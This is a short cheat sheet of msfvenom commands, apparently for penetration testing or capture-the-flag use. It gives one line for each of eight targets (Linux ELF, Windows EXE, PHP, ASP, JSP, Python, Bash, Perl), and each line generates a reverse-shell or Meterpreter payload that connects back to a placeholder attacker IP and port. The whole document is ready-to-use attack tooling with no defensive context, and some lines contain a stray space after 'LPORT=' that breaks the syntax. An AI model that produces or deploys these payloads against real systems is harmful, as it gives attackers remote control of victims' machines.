Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=Your IP LPORT=Your Port -f elf -o ./shell.elf
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=Your IP LPORT= Your Port -f exe -o ./shell.exe
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=Your IP LPORT=Your Port -f raw -o ./shell.php
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=Your IP LPORT=Your Port -f asp -o ./shell.asp
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=Your IP LPORT=Your Port -f raw -o ./shell.jsp
Python
msfvenom -p cmd/unix/reverse_python LHOST=Your IP LPORT= Your Port -f raw -o ./shell.py
Bash
msfvenom -p cmd/unix/reverse_bash LHOST=Your IP LPORT= Your Port -f raw -o ./shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST=Your IP LPORT= Your Port -f raw -o ./shell.pl